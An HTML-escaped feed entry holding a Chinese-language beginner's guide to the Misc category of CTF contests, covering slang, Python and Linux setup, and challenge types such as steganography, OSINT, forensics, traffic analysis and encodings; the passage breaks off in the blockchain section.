      <description>&lt;h1 id=&#34;misc-入门指北&#34;&gt;MISC 入门指北&lt;a class=&#34;heading-anchor&#34; href=&#34;#misc-%e5%85%a5%e9%97%a8%e6%8c%87%e5%8c%97&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h1&gt;&#xA;&lt;p&gt;By Mnzn : ) 🔗 &lt;a href=&#34;https://mnzn.me&#34;&gt;一个存在感为 0 的博客&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;前情提要&#34;&gt;前情提要：&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%89%8d%e6%83%85%e6%8f%90%e8%a6%81&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;什么是misc&#34;&gt;什么是&amp;quot;Misc&amp;quot;?&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e4%bb%80%e4%b9%88%e6%98%afmisc&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;&amp;ldquo;当你分不清一道题应该是什么类型时，那么他就是 Misc。&amp;rdquo;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;在 CTF (Capture The Flag) 比赛各大方向中，Misc常常被视为“最容易 最简单”的领域，一开始我也是这么认为的，但事实真的如此吗？&lt;/p&gt;&#xA;&lt;p&gt;相比其他方向，Misc 的门槛较低。哪怕你之前几乎没怎么接触过电脑，也能在解题过程中收获许多实用的小技巧和有趣的知识。&lt;/p&gt;&#xA;&lt;p&gt;但 Misc 难在他叫做“安全&lt;strong&gt;杂&lt;/strong&gt;项”，范围极广：OSINT(信息搜集)、Forensics(取证分析)、Stego(隐写)、BlockChain(区块链)、甚至是&lt;strong&gt;猜谜&lt;/strong&gt;，就跟个垃圾桶一样，没人要的东西全丢进去，什么奇怪的想法都能往里塞，什么冷门的知识点都有可能考，完全取决于出题人的 &lt;del&gt;丧心病狂&lt;/del&gt; 和蔼程度。甚至一道Misc题目，可能涉及到Web、Crypto、Pwn、Rev等所有方向的知识，让你摸不到头脑。&lt;/p&gt;&#xA;&lt;p&gt;所以，学习杂项方向前，你一定要知道，Misc 是 CTF 中最具随机性的方向：你需要会奇奇怪怪的技能，准备一堆冷门的工具，还要有一颗强大的心脏来接受无数次怀疑自我智商的打击。入门 Misc，请先准备好四处搜罗工具和强大的心理承受力——否则，Misc 会用一种最独特的方式，轻松把你劝退，再将你的智商打击到怀疑人生。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/7df06a34-4ac8-487c-8d5d-34734334ad99.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/d201b373-8198-4166-9ff7-135b5f852d1d.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/213bce76-83b0-4ed8-9048-4628adc4ddd9.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;我应该学-misc-吗&#34;&gt;我应该学 Misc 吗？&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%88%91%e5%ba%94%e8%af%a5%e5%ad%a6-misc-%e5%90%97&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;如果你对网络安全感兴趣，并且喜欢各种解密与探索类的挑战，那么 Misc 对零基础的新手来说，是一个非常合适的试金石。因为它足够杂、知识点足够多、涉猎面足够广，让你在短时间内就能对 CTF 的各个方向有一个整体的认识。&lt;/p&gt;&#xA;&lt;p&gt;杂项可能不是最难的方向，但他一定是&lt;strong&gt;最烧脑，最整活，最逆天，最恶意，最无语&lt;/strong&gt;的方向，也是最容易爆 0 的方向，它不需要你精通某个方向，但需要你对每一个方向都有所了解 &lt;del&gt;(甚至全栈？)&lt;/del&gt;。同时，学Misc 的过程，往往能让你更清楚自己究竟对哪个方向真正感兴趣，在哪个方向更有天赋。&lt;/p&gt;&#xA;&lt;p&gt;但是，杂项的地位其实也些许尴尬，线上赛层出不穷，但在很多线下赛甚至缺席，因为 misc 极度需要互联网——你要去搜工具，查资料，研究各种冷门协议，甚至从网络的某个角落里找到解题的灵感。这意味着 misc 方向选手很多时候需要临时充当其他方向的选手，所以 misc 非常考验你学习新知识的能力，需要你去“现学现卖”，加油，特种兵！&lt;/p&gt;&#xA;&lt;h2 id=&#34;如何入门&#34;&gt;如何入门？&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%a6%82%e4%bd%95%e5%85%a5%e9%97%a8&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;如果你看到这里还没有放弃 misc，看来你已经做好了心理准备，接下来正式进入 misc 的世界吧（大笑）。&lt;/p&gt;&#xA;&lt;p&gt;在此推荐一个新生赛，由西安电子科技大学主办，山建今年成功参与协办：&lt;a href=&#34;https://ctf.xidian.edu.cn&#34;&gt;MoeCTF 2025&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;如果觉得 MoeCTF 的题目不对你的胃口，也可以尝试&lt;a href=&#34;https://ctf.show/challenges&#34;&gt;ctf.show&lt;/a&gt; 靶场中的萌新题目类别，都是十分基础的题目，好上手好理解。&lt;/p&gt;&#xA;&lt;p&gt;题目十分基础简单，对 misc 方向的覆盖面也较广，是非常（真的）优秀的专门为新生举办的赛事，在过程中，你需要学会如何利用好搜索引擎（有条件的同学可以使用 Google，最次也要用 Bing，百度什么的，懂得都懂），寻找一些 misc 资料，很可能就会找到 moectf 中的类似题目，跟着题解进行解题，掌握技巧收集工具。当然，也有可能思路全无，这是你可以仔细阅读题目及附件，每个字都有可能是关键提示。&lt;/p&gt;&#xA;&lt;p&gt;当你觉得自己对 Misc 已经有了初步的掌握，就可以尝试深入学习取证、流量分析等更专业，你更感兴趣的内容，或许你会在其中发现新的乐趣！&lt;/p&gt;&#xA;&lt;h3 id=&#34;术语&#34;&gt;术语&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%9c%af%e8%af%ad&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;师傅&lt;/strong&gt;：CTF 圈子内对大佬的尊称，别人这么叫你也不需要担心，就像山东人互称“老师”一样。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;wp（writeup）&lt;/strong&gt;：题解，复盘题目的过程和方法。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;**py ：**指通过非常规手段获取题目答案，如购买。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;exp&lt;/strong&gt;：指 exploit 脚本，几乎所有方向都要写，就是你解出题目所使用的代码。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;洞&lt;/strong&gt;：漏洞的简称，比如“打个洞”“挖个洞”。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;爆破&lt;/strong&gt;：暴力破解，用字典或穷举跑结果。常见于 misc、web。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;一把梭&lt;/strong&gt;：一些能够自动化解题获得 flag 的工具，比如随波逐流。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;爆零&lt;/strong&gt;：凉了，一道题做不出来/打比赛挂了。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;flag&lt;/strong&gt;：CTF题目的答案，获取 flag 并提交是最终目标。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;脚本小子&lt;/strong&gt;：调侃只会用脚本跑题，不是真正理解原理。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;学习编程&#34;&gt;学习编程&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%ad%a6%e4%b9%a0%e7%bc%96%e7%a8%8b&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;杂项方向会经常需要对数据，文件进行特殊处理的情况，这要求你至少掌握一门编程语言，对于刚刚步入大学校园，还未接触计算机编程知识的同学们，推荐优先学习 Python，它短小精悍，通俗易懂，也是一门非常常用的脚本语言，上手非常简单，学习各类逻辑方式，运算符，分支循环后，就可以尝试编写一些解题需要的脚本了，对你的日常生活也十分有用，你可以用 Python 编写一些简单的脚本，包括抢课，爬虫等等&amp;hellip; 这就等待大家自行探索了，在初期，可以使用人工智能来协助你编写脚本，包括 ChatGPT、Claude、Gemini、DeepSeek 等，都十分好用。&lt;/p&gt;&#xA;&lt;p&gt;学习 Python 的作用不止于此，misc 方向也会经常出现一类专门针对 Python 语言的题目，即 Pyjali（沙箱逃逸），在今年的 moectf 中也有这类题目等待大家探索。&lt;/p&gt;&#xA;&lt;h3 id=&#34;学习-linux&#34;&gt;学习 Linux&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%ad%a6%e4%b9%a0-linux&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;h4 id=&#34;学他干啥&#34;&gt;学他干啥？&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%ad%a6%e4%bb%96%e5%b9%b2%e5%95%a5&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;Linux 的鼎鼎大名应该都听过，是一种免费使用和自由传播的&lt;a href=&#34;https://baike.baidu.com/item/%E7%B1%BBUNIX/9032872?fromModule=lemma_inlink&#34;&gt;类UNIX&lt;/a&gt;操作系统，他强大、廉价和完全开放，在各种黑客视频中疯狂刷新存在感，很多真正的黑客也确实偏爱 Linux 系统。绝大多数容器题和取证题都基于 Linux 环境，不掌握基本命令很容易“拿到 shell 却连 flag 都读不出”。推荐在虚拟机里安装 Kali Linux，它自带常用工具，方便练习。如果不需要 Kali Linux 中的工具，那也可以使用 WSL2 安装 Ubuntu 使用，Linux 是你绕不开的一道坎，最基础的命令一定要会使用，下一小节会有相关教程。需要注意的是，这里说的使用，只是让大家熟悉 Linux 的相关命令，非常不建议把 Linux 当主力机使用：软件兼容性、驱动支持和娱乐体验都不佳，容易把大量精力耗在“折腾环境”上。虚拟机或双系统练习更合适。&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://blog.csdn.net/m0_46422300/article/details/104645072&#34;&gt;Linux 常用操作命令大全（最后更新时间：2024年1月）_linux常用命令-CSDN博客&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.runoob.com/linux/linux-command-manual.html&#34;&gt;Linux 命令大全 | 菜鸟教程&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;虚拟机-到底咋用&#34;&gt;虚拟机-到底咋用？&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e8%99%9a%e6%8b%9f%e6%9c%ba-%e5%88%b0%e5%ba%95%e5%92%8b%e7%94%a8&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;虚拟机是一个强大的工具，创建一个虚拟机，就相当于在你的电脑上运行一台“独立的电脑”，你可以创建不同操作系统的虚拟机，有了它，你可以在一台电脑上，运行来自不同操作系统的程序。&lt;/p&gt;&#xA;&lt;p&gt;Windows 系统推荐使用 VMware Workstation PRO，已经转免，下面有详细教程教大家如何安装VM，安装 Kali Linux：&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://blog.csdn.net/m0_46515610/article/details/145793189&#34;&gt;VMware Workstation Pro下载、安装教程（保姆级）-CSDN博客&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://blog.csdn.net/2301_79455190/article/details/151333292&#34;&gt;2025年最新kali Linux安装教程（超详细，图文并茂）_csdn kali linux 2025-CSDN博客&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;MacOS 也可以使用 VMware Fusion（免费），也可使用 Parallels Desktop（付费），考虑到使用人数较少（甚至没有），有需要的同学可以自己上网找一下。&lt;/p&gt;&#xA;&lt;h4 id=&#34;wsl-使用教程&#34;&gt;WSL 使用教程&lt;a class=&#34;heading-anchor&#34; href=&#34;#wsl-%e4%bd%bf%e7%94%a8%e6%95%99%e7%a8%8b&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;适用于 Linux 的 Windows 子系统（WSL）是 Windows 的一项功能，可用于在 Windows 计算机上运行 Linux 环境，而无需单独的虚拟机或双重启动。 WSL 旨在为想要同时使用 Windows 和 Linux 的开发人员提供无缝高效的体验。 &amp;mdash; &lt;a href=&#34;https://learn.microsoft.com/zh-cn/windows/wsl/about&#34;&gt;什么是适用于 Linux 的 Windows 子系统&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;WSL（Windows Subsystem for Linux）&lt;/strong&gt; 是微软推出的一种兼容层，让用户可以在 Windows 上直接运行 Linux 环境，而不需要虚拟机或双系统，WSL1 简直就是一坨，不过经过打磨，WSL2 已经变得比较可口，已经是可以真正使用的 Linux 子系统了，想挑战的同学可以试试看，&lt;/p&gt;&#xA;&lt;p&gt;引文中贴出了巨硬的WSL官方文档， 不过考虑到巨硬一如既往的脑残机翻，想流畅阅读还是具有一定挑战性，下面给出几个筛选后较为合适的教学文档。&lt;a href=&#34;https://blog.csdn.net/weixin_44301630/article/details/122390018&#34;&gt;超详细Windows10/Windows11 子系统（WSL2）安装Ubuntu20.04（带桌面环境）_wsl安装ubuntu20.04-CSDN博客&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://juejin.cn/post/7503438116234625075&#34;&gt;Windows 安装 WSL2 并运行 Ubuntu 22.04 指南&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://zhuanlan.zhihu.com/p/1903903315080774656&#34;&gt;Windows安装和配置Linux子系统（WSL2）&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;开始学习-misc&#34;&gt;开始学习 MISC&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%bc%80%e5%a7%8b%e5%ad%a6%e4%b9%a0-misc&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;既然已经决定踏入 Misc 的坑，那就先从几类常见的题型入手。虽然 Misc 千变万化，但大多数题目都能归到以下几类：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Stego（隐写）&lt;/strong&gt;：把信息藏在图片、音频、视频等文件中，需要通过各种隐写手法去发现并提取隐藏内容。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;OSINT（开源情报搜集）&lt;/strong&gt;：利用公开渠道的信息（搜索引擎、社交平台、地图、历史快照等）来推理和还原题目所要求的线索。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Forensics（取证分析）&lt;/strong&gt;：针对内存镜像、硬盘镜像、日志文件等进行分析，提取关键证据或 flag。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Traffic（流量分析）&lt;/strong&gt;：给你一份网络流量包（通常是 .pcap 文件），需要用工具分析其中的通信协议、数据传输甚至还原出隐藏内容。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Encode（编码）&lt;/strong&gt;：考察各种常见或冷门的编码/加密方式，比如 Base64、摩斯电码、brainfuck，甚至一些自定义规则。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;stego隐写&#34;&gt;Stego（隐写）&lt;a class=&#34;heading-anchor&#34; href=&#34;#stego%e9%9a%90%e5%86%99&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;strong&gt;简介&lt;/strong&gt;：把信息藏在图片、音频、视频等看似正常的文件里。表面上风平浪静，实际暗潮汹涌。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;典型题目&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;图片里藏了额外的数据（LSB 隐写、像素色值隐写、各类信息嵌入）。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;音频文件的频谱图里有一串可见字符。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;视频逐帧提取，flag 藏在某一帧角落。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;常用工具&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;binwalk（文件分析/拆包）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;stegsolve（图片隐写）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;audacity（音频频谱分析）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;exiftool（文件元数据）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;最简单的 0 宽文字隐写示例：&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/b265fd34-8f58-4bf0-aa70-7a51927f9429.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;这段文本在记事本中看不到任何端倪，但你将它完全复制使用零宽字符隐写解密后，你会得到新的文本。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/150f73de-a9b0-4d8d-9d0f-56bf94a73e28.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;osint开源情报搜集&#34;&gt;OSINT（开源情报搜集）&lt;a class=&#34;heading-anchor&#34; href=&#34;#osint%e5%bc%80%e6%ba%90%e6%83%85%e6%8a%a5%e6%90%9c%e9%9b%86&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;strong&gt;简介&lt;/strong&gt;：通过公开可查的信息来还原线索，不靠黑科技，只靠信息搜集能力。&lt;/p&gt;&#xA;&lt;p&gt;极端一点，大家所知道的“开盒”，其实就是开源情报搜集的恶意利用。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;典型题目&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;给一张风景照，要求你找出拍摄地点。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;给一个用户名，让你找到对应的社交媒体账号或邮箱。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;给一张模糊地图，要求确定坐标位置。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;常用工具/技巧&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;反向图片搜索（Google Lens、Yandex）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;地图服务（Google Maps、百度地图、OpenStreetMap）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;各种 OSINT 工具包（如 theHarvester、Maltego）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;善用搜索引擎的高级语法&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;例题(来自 TGCTF 2025)：&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;找到距离图中建筑最近的站点&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/17971928-d7fe-4e83-8a25-94fed5dabcdb.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;例图&lt;/p&gt;&#xA;&lt;p&gt;截取学校部分的图片 识图 找到学校是 &lt;a href=&#34;https://www.nihs.tp.edu.tw/&#34;&gt;臺北市立內湖高級工業職業學校&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;上谷歌地图找&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/16f2f055-cc9c-41cd-85f4-698cf451900e.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;根据街景就能确认这个站点&lt;/p&gt;&#xA;&lt;h4 id=&#34;forensics取证分析&#34;&gt;Forensics（取证分析）&lt;a class=&#34;heading-anchor&#34; href=&#34;#forensics%e5%8f%96%e8%af%81%e5%88%86%e6%9e%90&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;strong&gt;简介&lt;/strong&gt;：数字取证，分析系统日志、内存镜像、磁盘镜像等，恢复信息。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;典型题目&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;给一个 Windows 内存镜像，找出运行过的恶意程序。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;给一个硬盘镜像，要求恢复被删除的文件。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;日志文件里藏着访问痕迹，需要拼出关键信息。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;常用工具&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Volatility（内存取证）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Autopsy（数字取证工具）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;strings、grep（快速提取可读信息）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;WinHex 或 010editor（十六进制编辑器）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;此类题目较为复杂，在此不便举例&lt;/p&gt;&#xA;&lt;h4 id=&#34;traffic流量分析&#34;&gt;Traffic（流量分析）&lt;a class=&#34;heading-anchor&#34; href=&#34;#traffic%e6%b5%81%e9%87%8f%e5%88%86%e6%9e%90&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;strong&gt;简介&lt;/strong&gt;：分析网络流量包，理解通信过程，找出隐藏的数据。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;典型题目&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;.pcap 文件里有加密通信，需要还原明文。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;HTTP 流量中夹带了隐藏参数。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;TCP 会话拼接后发现 flag 被切片传输。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;常用工具&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Wireshark（流量分析神器）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;tshark（Wireshark 的命令行版本）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;tcpflow / NetworkMiner（流量重组）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;encode编码加密&#34;&gt;Encode（编码/加密）&lt;a class=&#34;heading-anchor&#34; href=&#34;#encode%e7%bc%96%e7%a0%81%e5%8a%a0%e5%af%86&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;strong&gt;简介&lt;/strong&gt;：考察对各种编码和奇怪规则的熟悉程度，有时也会混淆多层。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;典型题目&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;多重 Base64、URL 编码、摩斯电码混合。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;看似乱码，其实是 Brainfuck、Base58、UUencode。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;一连串 Emoji 或 DNA 序列，其实是自定义编码。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;甚至自定义规则让你随便猜&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;常用工具&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;CyberChef（万能在线解码工具）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;各种在线编码/解码网站&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;一些脚本语言（Python）写小脚本批量解码&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;blockchain区块链&#34;&gt;Blockchain（区块链）&lt;a class=&#34;heading-anchor&#34; href=&#34;#blockchain%e5%8c%ba%e5%9d%97%e9%93%be&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;区块链题目较为冷门，是近几年伴随虚拟币活跃所出现的新方向，门槛较高，难度较大，我对此也仅是一知半解。&lt;/p&gt;&#xA;&lt;p&gt;该类别题目极少，不感兴趣可以先跳过，毕竟这类题在比赛里出现概率不高。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;简介&lt;/strong&gt;：这类题目以区块链、智能合约、加密货币为背景。大多数时候不会要求你真的精通区块链开发，而是考察你对区块链运行机制、数据结构和常见漏洞的理解。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;典型题目&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;给你一个以太坊合约代码（Solidity），要求找出逻辑漏洞（如重入攻击、整数溢出）。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;给一个区块数据文件或交易哈希，要求还原转账过程、追踪资金流向。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;简单的钱包题：通过助记词、私钥格式、地址校验方式找到 flag。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;利用公链浏览器（Etherscan、BscScan 